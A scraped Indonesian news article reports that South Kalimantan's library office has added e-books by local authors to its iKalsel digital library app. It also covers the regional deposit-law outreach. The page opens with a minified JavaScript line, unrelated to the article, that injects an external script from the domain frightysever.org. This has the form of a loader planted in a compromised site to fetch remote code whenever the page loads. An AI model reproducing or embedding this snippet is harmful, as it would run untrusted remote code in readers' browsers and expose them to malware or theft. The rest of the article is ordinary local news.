(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Karya Penulis Banua Perkaya Koleksi e-Book iKalsel


KANALKALIMANTAN.COM, BANJARMASIN – Di musim pendemi seperti sekarang,  kehadiran iKalsel –perpustakaan digital Dispersip Kalsel- diluncurkan sejak dua tahun lalu kini terus bertambah koleksinya.

Mereka yang  enggan ke luar rumah dengan mudah bisa mengakses iKalsel untuk mengisi waktu luangnya.  Agar bahan bacaan yang tersedia semakin bervariatif, Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan  mulai menambahkan  karya penulis banua ke dalam  aplikasi iKalsel.

“Aplikasi ini sudah diluncurkan tahun 2018 lalu dan dilaunching langsung oleh Gubernur Kalsel H. Sahbirin Noor. Untuk memperkaya  koleksi iKalsel, baru-baru tadi kami mengaploud e-book karya penulis-penulias lokal Banua,” kata Kepala Dispersip Kalsel Hj Nurliani, M.AP.

Ia menyebutkan buku dimaksud, yakni Aneka Kuliner Khas Kalimantan Selatan (Rita Khairina), Banjarbaru Sejarah, Pesona, Potensi (Randu Alamsyah),  Antologi Puisi Terus Melangkah  (Agustina Thamrin), Mozaik Sejarah Banjar dan Masjid-Masjid Bersejarah di Kalimantan Selatan (Aliansyah Jumbawuya – Ahmad Barjie).

“Ke depan, insya Allah lebih banyak lagi karya-karya penulis banua lain yang akan kita fasilitasi untuk dipublikasikan di aplikasi iKalsel.  Di antaranya, Sainul Hermawan, seorang sastrawan sekaligus dosen FKIP Universitas Lambung Mangkurat sudah menyatakan kesediaannya menyerahkan beberapa karyanya untuk  ditayangkan di aplikasi iKalsel,”  jelasnya.

Perempuan yang akrab disapa Bunda Nunung ini menambahkan,  pihaknya sudah dua kali mengadakan sosialisasi Undang-undang  Nomor 13  Tahun 2018 tentang Serah Simpan Karya Cetak dan Rekam dengan mengundang para penulis dan penerbit dari 13 Kabupaten/Kota se-Kalimantan Selatan. Di situ ada kewajiban penulis/penerbit untuk menyerahkan  2 eksemplar karya mereka ke perpustakaan provinsi maupun pusat. Tujuannya, tiada lain agar karya mereka terpelihara di bagian deposit.

“Biasanya para  peneliti atau mahasiswa yang ingin membuat skripsi sering datang ke bagian deposit ini. Kebanyakan  yang mereka cari adalah buku-buku lokalitas Kalimantan Selatan yang susah dicari di luar,” ujar Nurliani.

Ia berharap kesadaran penulis-penulis Kalsel untuk menyerahkan karya mereka, sehingga ketika dipublikasikan di aplikasi iKalsel  semakin memudahkan calon pembaca untuk mengakses dan mengambil manfaat. (kanalkalimantan.comrls)

Reporter : rls
Editor : kk

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.